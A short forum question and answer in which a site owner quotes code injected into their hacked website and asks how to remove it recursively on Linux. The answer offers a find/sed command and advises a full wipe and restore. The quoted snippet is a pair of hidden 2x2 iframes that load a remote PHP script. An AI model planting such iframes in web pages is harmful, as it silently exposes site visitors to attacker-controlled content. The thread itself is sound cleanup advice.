Code injection help search and replace on linux

Question

My website has been hacked and injected some of the code like this

<i>
    <iframe src="http://www.cascadecowcutters.org/wp-content/upgrade/update.php" width="2" height="2" frameborder="0"></iframe><iframe src="http://www.cascadecowcutters.org/wp-content/upgrade/update.php" width="2" height="2" frameborder="0"></iframe>
</i>

Is there a way in linux to search and replace this code to this ''? recursively

Answer 1

To 'find' all files and search and replace on those files:

find ./ -type f | xargs sed -i 's/string1/string2/g'

As Joakim mentioned in his comment, anytime you are dealing with a compromised server it is safest to do a complete wipe <> restore. Before restoration make sure to check for exploits. Make sure you know all your web apps are at their most recent version.